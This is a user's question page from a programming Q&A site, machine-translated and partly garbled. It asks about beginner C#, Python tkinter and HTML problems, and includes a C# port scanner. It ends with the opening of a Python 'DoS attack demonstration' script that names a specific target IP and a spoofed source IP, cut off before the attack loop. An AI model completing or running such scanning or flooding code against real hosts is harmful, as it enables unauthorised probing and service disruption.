RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / user-316252

Zekoyka's questions

Martin Hope
Zekoyka
Asked: 2022-05-22 18:18:29 +0000 UTC

使用文件(检查和写入/读取)

  • 0

有一个概念,在启动txt时会在包含文档的目录中创建一个文件。写токен在那里,下次运行时检查:

если файл существует - вывести сообщение или создать файл и записать в него токен

我确信一切都是正确的,但我不明白为什么会出现错误,他们说文件已经被另一个进程占用,并且不允许自己被写入/读取。

在此处输入图像描述

我的代码:

编辑

            var username = Environment.UserName;
            var date = Environment.TickCount;
            var id = Environment.UserName;

            string token_param = "123456789";
            int token_lenght = 6;
            string token_result = "";

            //Создание объекта для генерации чисел
            Random rnd = new Random();

            StreamWriter token = new StreamWriter("C:\\Users\\" + username + "\\Documents\\token.txt");

            int token_lng = token_param.Length;

            var path = "C:\\Users\\" + username + "\\Documents\\token.txt";
            var exist = File.Exists(path);
            Console.WriteLine(exist);

            if (exist == true)
            {
                string content = File.ReadAllText("C:\\Users\\" + username + "\\Documents\\token.txt");
                Console.WriteLine("Current content of file:");
                Console.WriteLine(content);
            }

            else if (exist == false)
            {
                for (int i = 0; i < token_lenght; i++)
                {
                    File.Create("C:\\Users\\" + username + "\\Documents\\token.txt");
                    token.Flush();
                    token_result += token_param[rnd.Next(token_lng)];
                    token.WriteLine(token_result);
                }
            }

            Console.WriteLine("\n {0}", token_result);
c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-22 05:05:43 +0000 UTC

无法写入已关闭的 TextWriter。ObjectDisposed_ObjectName_Name

  • 0

我的密码生成程序需要将每个生成的密码写入一个文本文件。

一切似乎都正确完成,但发生错误Cannot write to a closed TextWriter.ObjectDisposed_ObjectName_Name- 我不太明白原因。

StreamWriter sw = new StreamWriter("C:\\Users\\" + username +"\\Downloads\\passwords.txt");- 我创建StreamWriter了一个写入路径,然后在密码生成循环中,我将写入函数插入到文件中,根据想法:

  1. 循环生成密码
  2. 检查是否值得true写入文件 - 如果是,则写入 - 并关闭流。

但发生错误。

编辑:试图添加sw.Flush();但没有帮助。

for (int a = 0; a < colvo; a++)
                {
                    string password = GeneratePassword(dictionary, length);
                    if (save5 == true)
                    {
                        sw.WriteLine(password);
                        sw.Close();
                    }
                    Console.WriteLine(password);
                }
                Console.ReadKey();

怎么了?

所有代码:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;


namespace PGC_by_Zekoyka
{

    class Program
    {
        private const int MF_BYCOMMAND = 0x00000000;
        public const int SC_CLOSE = 0xF060;
        public const int SC_MINIMIZE = 0xF020;
        public const int SC_MAXIMIZE = 0xF030;
        public const int SC_SIZE = 0xF000;

        [DllImport("user32.dll")]
        public static extern int DeleteMenu(IntPtr hMenu, int nPosition, int wFlags);

        [DllImport("user32.dll")]
        private static extern IntPtr GetSystemMenu(IntPtr hWnd, bool bRevert);

        [DllImport("kernel32.dll", ExactSpelling = true)]
        private static extern IntPtr GetConsoleWindow();

        static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
        static readonly IntPtr HWND_NOTOPMOST = new IntPtr(-2);
        static readonly IntPtr HWND_TOP = new IntPtr(0);
        const UInt32 SWP_NOSIZE = 0x0001;
        const UInt32 SWP_NOMOVE = 0x0002;
        const UInt32 SWP_NOZORDER = 0x0004;
        const UInt32 SWP_NOREDRAW = 0x0008;
        const UInt32 SWP_NOACTIVATE = 0x0010;
        const UInt32 SWP_FRAMECHANGED = 0x0020;
        const UInt32 SWP_SHOWWINDOW = 0x0040;
        const UInt32 SWP_HIDEWINDOW = 0x0080;
        const UInt32 SWP_NOCOPYBITS = 0x0100;
        const UInt32 SWP_NOOWNERZORDER = 0x0200;
        const UInt32 SWP_NOSENDCHANGING = 0x0400;

        [System.Runtime.InteropServices.DllImport("user32.dll")]
        static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

        static bool save5 = true;
        static void Main(string[] args)
        {
            var username = Environment.UserName;
            var date = Environment.TickCount;
            Console.Title = "Password.Creator by Zekoyka | CONSOLE EDITION";

            IntPtr handle = GetConsoleWindow();
            IntPtr sysMenu = GetSystemMenu(handle, false);

            if (handle != IntPtr.Zero)
            {
                DeleteMenu(sysMenu, SC_MINIMIZE, MF_BYCOMMAND);
                DeleteMenu(sysMenu, SC_MAXIMIZE, MF_BYCOMMAND);
                DeleteMenu(sysMenu, SC_SIZE, MF_BYCOMMAND);
            }

            IntPtr ConsoleHandle = System.Diagnostics.Process.GetCurrentProcess().MainWindowHandle;
            const UInt32 WINDOW_FLAGS = SWP_SHOWWINDOW;

            SetWindowPos(ConsoleHandle, HWND_NOTOPMOST, 0, 0, 500, 350, WINDOW_FLAGS);

            List<string> list = new List<string>();

            StreamWriter sw = new StreamWriter("C:\\Users\\" + username +"\\Downloads\\passwords.txt");

            while (true)
            {
                Console.Write("\n Кол-во генерируемых паролей: ");
                int colvo = Convert.ToInt32(Console.ReadLine());

                Console.Write("\n Длина пароля: ");
                int length = Convert.ToInt32(Console.ReadLine());

                Console.Write("\n Пароль с буквами верхнего регистра (ABC)? [Y/N]: ");
                string opinion0 = Console.ReadLine();
                if (opinion0 == "Y" || opinion0 == "y")
                {
                    list.Add(GetRangeString('A', 26)); // ABCDEFGHIJKLMNOPQRSTUVWXYZ
                }

                Console.Write("\n Пароль с буквами нижнего регистра (abc)? [Y/N]: ");
                string opinion1 = Console.ReadLine();
                if (opinion1 == "Y" || opinion1 == "y")
                {
                    list.Add(GetRangeString('a', 26)); // abcdefghijklmnopqrstuvwxyz
                }

                Console.Write("\n Пароль с цифрами (123)? [Y/N]: ");
                string opinion2 = Console.ReadLine();
                if (opinion2 == "Y" || opinion2 == "y")
                {
                    list.Add(GetRangeString('0', 10)); // 0123456789
                }

                Console.Write("\n Пароль с символами (123)? [Y/N]: ");
                string opinion3 = Console.ReadLine();
                if (opinion3 == "Y" || opinion3 == "y")
                {
                    list.Add(@"`~!@#$%^&*(@)-_=+[];:{}\|/.,<>№"); // `~!@#$%^&*(@)-_=+[];:{}\|/.,<>№
                }

                string dictionary = string.Concat(string.Concat(list).Distinct());

                for (int a = 0; a < colvo; a++)
                {
                    string password = GeneratePassword(dictionary, length);
                    if (save5 == true)
                    {
                        sw.WriteLine(password);
                        sw.Close();
                    }
                    Console.WriteLine(password);
                }
                Console.ReadKey();
            }
        }

        private static string GeneratePassword(string dictionary, int length)
        {
            Random rnd = new Random();
            return string.Concat(Enumerable.Repeat(0, length).Select(_ => dictionary[rnd.Next(dictionary.Length)]));
        }

        private static string GetRangeString(char first, int length)
        {
            return string.Concat(Enumerable.Range(first, length).Select(c => (char)c));
        }
    }
}

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-22 01:33:48 +0000 UTC

无法将类型“char”隐式转换为“string”

  • 0

密码生成器程序。有一个选择——添加密码символами。我创建了一个将数据写入自身的变量,textBox2.Text然后在循环中执行生成。但是会发生错误Ошибка CS0029 Не удается неявно преобразовать тип "char" в "string".。

我尝试将char输入数据转换为变量,但没有帮助。告诉我如何正确地做。

我也想混合这两个结果(这样它们混合起来,输出密码更可靠),告诉我如何实现它。

编码:

    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string data = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
            char symbols = Convert.ToChar(textBox2.Text);
            int lon = (int)numericUpDown1.Value;
            string result = "";
            string result_symbols = "";
            Random rnd = new Random();
            int lng = data.Length;
            int lng2 = data.Length;



            for (int i = 0; i < lon; i++)
            {
                result_symbols = Convert.ToChar(symbols[rnd.Next(lng)]);
                result += data[rnd.Next(lng)];
            }

            textBox1.Text = result;
        }
    }

程序截图:

在此处输入图像描述

c#
  • 3 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-22 00:58:42 +0000 UTC

无法找出错误 CS0201

  • 0

我在网上找到它генератор паролей,决定修改它,但结果它是在 2010 年制作的,当时有不同的语言版本。

这是程序代码:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace PasswordCreatorByZekoyka
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string dic = "";
            string tmp = "";
            if (checkBox1.Checked)
            {
                char nchar;
                for (int i = 65; i < 91; i)
                {
                    nchar = (char)i;
                    tmp = Convert.ToString(nchar);
                }
                dic = tmp;
            }
            if (checkBox2.Checked) dic = "0123456789";
            if (checkBox3.Checked) dic = textBox2.Text;
            if (checkBox4.Checked)
            {
                tmp = "";
                char nchar;
                for (int i = 97; i < 123; i)
                {
                    nchar = (char)i;
                    tmp = Convert.ToString(nchar);
                }
                dic = tmp;
            }
            string pass = "";
            Random mran = new Random();
            for (int i = 0; i < numericUpDown1.Value; i)
            {
                int index = Convert.ToUInt16(mran.NextDouble() * dic.Length) % dic.Length;
                char ScharS = dic[index];
                pass = Convert.ToString(ScharS);
            }
            textBox1.Text = pass;
        }
    }
}

但是有一个错误,其根源我无法理解。

Ошибка CS0201 В качестве оператора могут использоваться только выражения назначения, вызова, инкремента, декремента и создания нового объекта.

请帮帮我。

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-21 23:24:15 +0000 UTC

在单元格中居中文本

  • 0

在此处输入图像描述

我有一个小表格,有时我必须将几个值绑定到一个单元格,一个名称 - 所以,据我了解,与名称组合的大表格Name仍然认为有两行,所以问题是如何将文本准确地放在单元格中,以便它在视觉上Name准确地位于中心,并且它似乎没有被刻在第一行中。

ms-word
  • 2 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-16 05:13:37 +0000 UTC

删除最后一个字符

  • 1

计算器有一个按钮удаления последнего введеного символа。我想通过调用将删除label1最后一个字符的函数来实现它。

我正在尝试使其成为标准,[:-1]但由于某种原因它不起作用,我以同样的方式尝试了它return label1["text"] [:-1]。但它不出来。

在此处输入图像描述

这是代码(函数def last_sim():):

from tkinter import *
import math
#from tkinter.ttk import Radiobutton


window = Tk()
window.title("Calculator")
oper=["+","-","*","/"]
number = IntVar()
window.geometry('350x250')
global operand1, lastop, lastres
lastop=0
operand1=0
lastres=0

def add():
    
    label1["text"] =   label1["text"] + str(number.get())
    label2["text"] =   label2["text"] + str(number.get())
    
def op():
    global operand1
    global lastop
    operand1=int(label1["text"])
    label1["text"] = ""
    lastres=operand1
    lastop=number.get()
    
    label2["text"] =   label2["text"] + label1["text"]
    label2["text"] =   label2["text"] + oper[lastop-11]
    #if lastres!=0:
        #operand1+=lastres
        #print("Увеличили операнд1", operand1)
        #lastres=0
    if lastop==11:
        print("lastres= ",lastres,"operand1= ",operand1)
        lastres+=operand1
        operand1+=int(label1["text"])
        print("lastres= ",lastres,"operand1= ",operand1)
def vyvod():
    global operand1
    global lastop
    global lastres
    
    if lastop==11:
        operand1+=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    if lastop==12:

        operand1-=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==13:    
        operand1*=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==14:    
        operand1/=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
    else:
        print("Ошибка в операции")

def koren():
        operand1 = math.sqrt(int(label1["text"])) 
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
      
def clean():
     global operand1
     global lastop
     global lastres
     operand1=0
     lastop=0
     lastres=0
     label1["text"] = ""
     label2["text"] = ""

def last_sim():
    return label1["text"] [:-1]


btn1=Radiobutton(window,indicatoron=0,text="1",width=2,variable=number,value=1,command=add,bg="lightgreen")
btn2=Radiobutton(window,indicatoron=0,text="2",width=2,variable=number,value=2,command=add,bg="lightgreen")
btn3=Radiobutton(window,indicatoron=0,text="3",width=2,variable=number,value=3,command=add,bg="lightgreen")
btn4=Radiobutton(window,indicatoron=0,text="4",width=2,variable=number,value=4,command=add,bg="lightgreen")
btn5=Radiobutton(window,indicatoron=0,text="5",width=2,variable=number,value=5,command=add,bg="lightgreen")
btn6=Radiobutton(window,indicatoron=0,text="6",width=2,variable=number,value=6,command=add,bg="lightgreen")
btn7=Radiobutton(window,indicatoron=0,text="7",width=2,variable=number,value=7,command=add,bg="lightgreen")
btn8=Radiobutton(window,indicatoron=0,text="8",width=2,variable=number,value=8,command=add,bg="lightgreen")
btn9=Radiobutton(window,indicatoron=0,text="9",width=2,variable=number,value=9,command=add,bg="lightgreen")
btn0=Radiobutton(window,indicatoron=0,text="0",width=2,variable=number,value=0,command=add,bg="lightgreen")

     
btn11=Radiobutton(window,indicatoron=0,width=2,text="+",variable=number,value=11,command=op,bg="lightblue")
btn12=Radiobutton(window,indicatoron=0,width=2,text="-",variable=number,value=12,command=op,bg="lightblue")
btn13=Radiobutton(window,indicatoron=0,width=2,text="*",variable=number,value=13,command=op,bg="lightblue")
btn14=Radiobutton(window,indicatoron=0,width=2,text="/",variable=number,value=14,command=op,bg="lightblue")

btn15=Radiobutton(window,indicatoron=0,width=2,text="=",variable=number,value=15,command=vyvod)
btn16=Radiobutton(window,indicatoron=0,width=2,text="C",variable=number,value=16,command=clean,bg="red")
btn17=Radiobutton(window,indicatoron=0,width=2,text="√",variable=number,value=17,command=koren,bg="lightblue")
btn18=Radiobutton(window,indicatoron=0,width=2,text="DL",variable=number,value=18,command=last_sim,bg="red")


btn1.grid(row=0, column=0)
btn2.grid(row=0, column=1)
btn3.grid(row=0, column=2)
btn4.grid(row=1, column=0)
btn5.grid(row=1, column=1)
btn6.grid(row=1, column=2)
btn7.grid(row=2, column=0)
btn8.grid(row=2, column=1)
btn9.grid(row=2, column=2)
btn0.grid(row=3, column=1)
btn11.grid(row=0, column=3)
btn12.grid(row=1, column=3)
btn13.grid(row=2, column=3)
btn14.grid(row=3, column=3)
btn15.grid(row=4, column=3)
btn16.grid(row=3, column=0)
btn17.grid(row=3, column=3)
btn18.grid(row=3, column=2)    


frame = Frame(master=window, height=1, borderwidth=5,bg="red")
frame.grid(row=4, column=0,columnspan=3)

label1 = Label(master=window, width=15, height=1,text="", bg="yellow")
label1.grid(row=4, column=0,columnspan=3,pady=10)

label2 = Label(master=window, width=15, height=1,text="", bg="yellow")
label2.grid(row=5, column=0,columnspan=6,sticky = W)

window.mainloop()


python
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-05-16 03:56:38 +0000 UTC

计算器中的 Root 按钮

  • 0

有一个程序,这是一个计算器。任务是添加一个按钮,该按钮将从输入中提取根。我添加了一个按钮,但我不知道如何提取根,我尝试使用该功能但没有成功,我只是尝试了提取运算符math-我也不想。按钮 17。告诉我怎么做。math.sqrt()**

UPD:我正在尝试制作一个由按钮调用的函数,它也不想这样做,

这是计算器代码:

from tkinter import *
import math
#from tkinter.ttk import Radiobutton


window = Tk()
oper=["+","-","*","/"]
number = IntVar()
window.geometry('200x250')
global operand1, lastop, lastres
lastop=0
operand1=0
lastres=0

def add():
    
    label1["text"] =   label1["text"] + str(number.get())
    label2["text"] =   label2["text"] + str(number.get())
    
def op():
    global operand1
    global lastop
    operand1=int(label1["text"])
    label1["text"] = ""
    lastres=operand1
    lastop=number.get()
    
    label2["text"] =   label2["text"] + label1["text"]
    label2["text"] =   label2["text"] + oper[lastop-11]
    #if lastres!=0:
        #operand1+=lastres
        #print("Увеличили операнд1", operand1)
        #lastres=0
    if lastop==11:
        print("lastres= ",lastres,"operand1= ",operand1)
        lastres+=operand1
        operand1+=int(label1["text"])
        print("lastres= ",lastres,"operand1= ",operand1)
def vyvod():
    global operand1
    global lastop
    global lastres
    
    if lastop==11:
        operand1+=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    if lastop==12:

        operand1-=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==13:    
        operand1*=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==14:    
        operand1/=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]

    elif lastop==17:    
        operand1**=int(label1["text"])
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
    else:
        print("Ошибка в операции")

def koren():
        operand1=int(label1(math.sqrt(["text"])))
        label1["text"] = str(operand1)
        label2["text"] =   label2["text"] +  " = " + label1["text"]
      
def clean():
     global operand1
     global lastop
     global lastres
     operand1=0
     lastop=0
     lastres=0
     label1["text"] = ""
     label2["text"] = ""
     
btn1=Radiobutton(window,indicatoron=0,text="1",width=2,variable=number,value=1,command=add,bg="lightgreen")
btn2=Radiobutton(window,indicatoron=0,text="2",width=2,variable=number,value=2,command=add,bg="lightgreen")
btn3=Radiobutton(window,indicatoron=0,text="3",width=2,variable=number,value=3,command=add,bg="lightgreen")
btn4=Radiobutton(window,indicatoron=0,text="4",width=2,variable=number,value=4,command=add,bg="lightgreen")
btn5=Radiobutton(window,indicatoron=0,text="5",width=2,variable=number,value=5,command=add,bg="lightgreen")
btn6=Radiobutton(window,indicatoron=0,text="6",width=2,variable=number,value=6,command=add,bg="lightgreen")
btn7=Radiobutton(window,indicatoron=0,text="7",width=2,variable=number,value=7,command=add,bg="lightgreen")
btn8=Radiobutton(window,indicatoron=0,text="8",width=2,variable=number,value=8,command=add,bg="lightgreen")
btn9=Radiobutton(window,indicatoron=0,text="9",width=2,variable=number,value=9,command=add,bg="lightgreen")
btn0=Radiobutton(window,indicatoron=0,text="0",width=2,variable=number,value=0,command=add,bg="lightgreen")

     
btn11=Radiobutton(window,indicatoron=0,width=2,text="+",variable=number,value=11,command=op,bg="lightblue")
btn12=Radiobutton(window,indicatoron=0,width=2,text="-",variable=number,value=12,command=op,bg="lightblue")
btn13=Radiobutton(window,indicatoron=0,width=2,text="*",variable=number,value=13,command=op,bg="lightblue")
btn14=Radiobutton(window,indicatoron=0,width=2,text="/",variable=number,value=14,command=op,bg="lightblue")

btn15=Radiobutton(window,indicatoron=0,width=2,text="=",variable=number,value=15,command=vyvod)
btn16=Radiobutton(window,indicatoron=0,width=2,text="C",variable=number,value=16,command=clean,bg="red")
btn17=Radiobutton(window,indicatoron=0,width=2,text="√",variable=number,value=17,command=koren,bg="lightblue")
btn18=Radiobutton(window,indicatoron=0,width=2,text="DL",variable=number,value=18,command=clean,bg="red")


btn1.grid(row=0, column=0)

btn2.grid(row=0, column=1)
btn3.grid(row=0, column=2)

btn4.grid(row=1, column=0)
btn5.grid(row=1, column=1)
btn6.grid(row=1, column=2)

btn7.grid(row=2, column=0)
btn8.grid(row=2, column=1)
btn9.grid(row=2, column=2)
btn0.grid(row=3, column=1)

btn11.grid(row=0, column=3)

btn12.grid(row=1, column=3)
btn13.grid(row=2, column=3)
 
btn14.grid(row=3, column=3)
btn15.grid(row=3, column=4)
btn16.grid(row=3, column=0)
btn17.grid(row=3, column=4)
btn18.grid(row=3, column=2)          
frame = Frame(master=window, height=1, borderwidth=5,bg="red")
frame.grid(row=4, column=0,columnspan=3)

label1 = Label(master=window, width=15, height=1,text="", bg="yellow")
label1.grid(row=4, column=0,columnspan=3,pady=10)

label2 = Label(master=window, width=30, height=1,text="", bg="yellow")
label2.grid(row=5, column=0,columnspan=6,sticky = W)

window.mainloop()

python
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-04-25 03:12:04 +0000 UTC

在文本文件中写入/删除和编辑列表

  • 0

我在做 Python 作业时遇到了问题。

该程序的本质是创建一个包含用户数据及其密码的文本文件。并在程序本身中,进一步编辑和更改数据(删除、创建新用户)。

但我不能写下和删除列表中的行。我很困惑,很难理解如何解决问题,请帮助并解释我做错了什么。

这是我的程序代码。

parol=""
passw=["90232","Soroka5","346129S"]
names=["Sasha","Nikita","Nikolai"]
    

my_file = open("data.txt", "w+")

def registration(passw,names):
    newparol=""
    while newparol !="R" :
        newparol=input("Введите новое имя: ")
        if newparol in names:
            print("Такое имя уже есть, предложите другое. \n : ")
            continue
        names.append(newparol)
        newlogin= input("Введите пароль: ")
        passw.append(newlogin)
        #control.update(newparol)
        print(passw)
        print(names)
        f = open('data.txt', 'wt')
        for s in passw:
            f.write(s + '\n')
        for s in names:
            f.write(s + '\n')
        return passw,names


def udal(passw,names):
    print("\nСписок пользователей: \n")
    print("Пароль: ", passw)
    print("Логин: ", names)
    newname=""
    while newname !="X" :
        newname=input(" Введите логин для удаления. (Или X что бы вернутся в меню.)\n : ")
    if newname in names :
        numb=names.index(newname)
        f = open('data.txt', 'w')
        
        print("Удаленно!")
        names.remove(newname)
        passw.pop(numb)
        print(passw)
        print(names)
    else:
        print("Такого имени нет. ")
    return passw,names

while parol!="X":
    parol= input(" Добро пожаловать. \n Введите X для завершения работы.\n Или введите R для создания нового пользователя. \n Введите D - что бы удалить существующего пользователя. \n Или введите свой пароль что бы войти. \n :  ")
    if parol=="R" :
       registration(passw,names)
       continue
    elif parol=="D":
        udal(passw,names)
        continue
    elif parol=="X":
        break
    elif parol in passw:
        numb=control.index(parol)    
        person=names[numb]
        print("\nПоздравляю! ", person, " - Вы в системе.")
         
    else:
        print("Ошибка в пароле. Похоже такого не существует.")
        
input("\n Досвидания!")

python
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-10-10 01:01:56 +0000 UTC

WinForms 中的 TAB 键

  • 0

有一个小程序,一个简单的记事本。

但是当我想通过按“Tab”键来换行时,有一个“微错误”,即制作一个水平制表符而是跳转到按钮。如何解决?

在此处输入图像描述

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-10-01 00:08:13 +0000 UTC

将值乘以 2

  • 1

有一个愿望是创造一个循环,在这个循环中,数字将乘以 2 和很多倍。

像这样,2 > 4 > 8 > 16 > 32 > 64 > 128 > 256 > 512 > 1024按那个顺序。

但我不确定如何做到这一点。看来根据我的代码,变量a有初始值1,应该乘以2写入变量b,变量本身b也应该乘以2,如此循环。

        static void Main(string[] args)
        {
            Console.Title = "code";
            for (int a = 1; a < 16; a++)
            {
                int b;
                b = a * 2;
                Console.Write(" " + b * 2);
            }
            Console.ReadKey();
        }

但是有一些混乱,只是简单地将 4 添加到数字中。

在此处输入图像描述

我不知道如何正确地将循环中的值相乘,请告诉我。

c#
  • 2 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-03-07 22:29:11 +0000 UTC

background-color 属性正在移动

  • 2

我想给文字上色。这里是风格。

        <style>
            body{
                background-color:rgb(54, 54, 54);
            }
            p {
                background-color:rgb(0, 0, 0);
                font-family:monospace;
                color: rgb(19, 230, 11); /* Цвет текста */
            }

        </style>

但是由于某种原因,文本的背景是разъезжается字段的整个长度。 在此处输入图像描述

如何解决?

html
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-03-05 00:16:11 +0000 UTC

在循环中乘以变量的值

  • 1
using System;
using System.Threading;

namespace new_time
{
    class Program
    {
        static void Main(string[] args)
        {
            int bit = 1; // обьявление + присовение значения переменной
            for (int a = 0; a < 100; a++) // цикл
            {
                    int new_bit = bit * 2; // умножение на 2
                    Console.WriteLine(new_bit); // вывод результата
            }
            Console.ReadKey(); // что бы не закрывалась
        }
    }
}

该程序的目的是打印乘以 2 的值。变量bit最初1。在循环中,想法应该乘以2。等每次来值100。

我指望同样的结论。

2
4
8
16
32
64

告诉我出了什么问题,以及为什么它只显示了我的价值2。

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-02-20 20:42:06 +0000 UTC

无法将 'System.Collections.Generic.List<string>' 转换为 'string'

  • -2

我想在 label1 中显示有关处理器的信息。

但是出现错误

无法将类型“System.Collections.Generic.List”隐式转换为“字符串”

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Management;
using System.Diagnostics;

namespace simple
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private static List<string> GetHardwareInfo(string WIN32_Class, string ClassItemField)
        {
            List<string> result = new List<string>();

            ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM " + WIN32_Class);

            try
            {
                foreach (ManagementObject obj in searcher.Get())
                {
                    result.Add(obj[ClassItemField].ToString().Trim());
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }

            return result;
        }



        private void Form1_Load(object sender, EventArgs e)
        {
            List<string> process = GetHardwareInfo("Win32_Processor", "Name");
            label2.Text = process;
        }


这是为什么?怎么修?

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2022-02-08 06:17:41 +0000 UTC

居中文本

  • 0

我想为文本添加背景。

在此处输入图像描述

大概是这样的计划。创建了与它相同的样式。

.uniform-bg {
background:black;
position:absolute;
-moz-outline-offset:-0.04em;
}
 
.uniform-bg span {
position:absolute;
}

但是当试图使用style="text-align: center;"- 它不想要居中的文本时。我无法弄清楚问题是什么。

这是代码。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>com</title>
    
</head>
<style>
        .fig {
            text-align: center; /* Выравнивание по центру */ 
        }
           .stroke {
            font: 2em Arial, sans-serif;
            text-shadow: red 0 0 4px;
        }
           .light {
            text-shadow: #5dc8e5 0 0 10px; /* Свечение голубого цвета */
            color: #0083bd;
        }
            .dark {
            text-shadow: red 0 0 10px; /* Свечение красного цвета */
        }
        
        .text {
            background-color: #000;
            color: #FFFFFF;
            display: inline;
            white-space: pre-wrap;
            padding: 3px 7px;
            padding-left: 0px;
            box-shadow: -7px 0 0 #000;
            }
            
        .fon {
            font: bold 3em Arial, sans-serif;
            color: #f0f0f0; /* Цвет текста, совпадает с цветом фона */
            text-shadow: #fff -1px -1px 0, 
            #333 3px 3px 0;
        }
        
        .layer {
            background: #fc3; /* Цвет фона */
            border: 0px solid black;  /* Параметры рамки */
            padding: 5px; /* Поля вокруг текста */
        }

        .uniform-bg {
        background:black;
        position:absolute;
        -moz-outline-offset:-0.04em;
        }
 
        .uniform-bg span {
        position:absolute;
        }
        
</style>

    <body>
    <body background="">
    <h1 class="stroke" style="text-align: center;"><font size="6" color="white" face="monospace">W123</h1>
    <h2><span class="uniform-bg" style="text-align: center;"><font size="6" color="white" face="monospace"><span>23e2423424324</span></span></h2>
    </body>

    
</html>
html
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2021-12-01 19:15:23 +0000 UTC

如何将线条相互移动

  • 0

我想把所有的线尽可能地靠近。

dline 类没有帮助。

   p.dline {
    line-height: 0.1;
   }
   P {
    line-height: 0.1em;
   }

在此处输入图像描述

html
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2021-12-01 18:31:56 +0000 UTC

如何一次使用多个类来发短信?

  • 0
 <div class="text">
    <p class ="stroke"><font size="6" color="white" face="IMPACT"</font>Привет. Это мой первый сайт над которым я работал в течении 30-40 минуты</p> 
    <p class ="stroke"><font size="6" color="white" face="IMPACT"</font>пока мой приятель ходил в магазин и ехал домой.</p>

我想一次将三种样式应用于文本。

<p class ="stroke"><p class="dline"><font size="6" color="white" face="IMPACT"</font>пока мой приятель ходил в магазин и ехал домой.</p>

这就是它不像我上面那样工作的原因。如何正确指定文本的样式?

这是我想要应用的样式。

  <style>
   .stroke {
    font: 2em Arial, sans-serif;
    text-shadow: black 1px 1px 0, black -1px -1px 0, 
                 black -1px 1px 0, black 1px -1px 0;
   }

  .text {
    text-align:  center;
   }

   p.dline {
    line-height: 1.5;
   }
   P {
    line-height: 0.9em;
   }

  </style>
html
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2021-10-15 05:50:25 +0000 UTC

开放端口的扫描过程非常慢

  • 3
// работа на тему Информационная безопасность
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp3
{
    class Program
    {
        private static string IP = "";

        static void Main(string[] args)
        {
            Console.Title = "PortScanner";
            UserInput();
            PortScan();
            Console.ReadKey();
        }

        private static void UserInput()
        {
            Console.Write("IP Address:", ConsoleColor.White);
            IP = Console.ReadLine();
        }

        private static void PortScan()
        {
            Console.Clear();
            TcpClient Scan = new TcpClient();
            foreach (int s in Ports)
            {
                try
                {
                    Scan.Connect(IP, s);
                    Console.WriteLine($"[{s}] | OPEN", ConsoleColor.Green);
                }
                catch
                {
                    Console.WriteLine($"[{s}] | CLOSED", ConsoleColor.Red);
                }
            }
        }

        private static int[] Ports = new int[]
        {
        1,
        2,
        3,
        80,
        };

    }
}

        

扫描指定IP上的端口很长时间很长时间。如何加快进程?

如何在一行中指定端口?(这样输入很愚蠢,用逗号分隔)

c#
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2021-10-14 03:19:20 +0000 UTC

代码执行期间出错

  • 0

发送数据包时出错。

import threading
import socket

target = '95.163.181.222'
port = 80
fake_ip = '182.253.21.34'


# показательная версия работы DoS атак

def attack():
    while True:
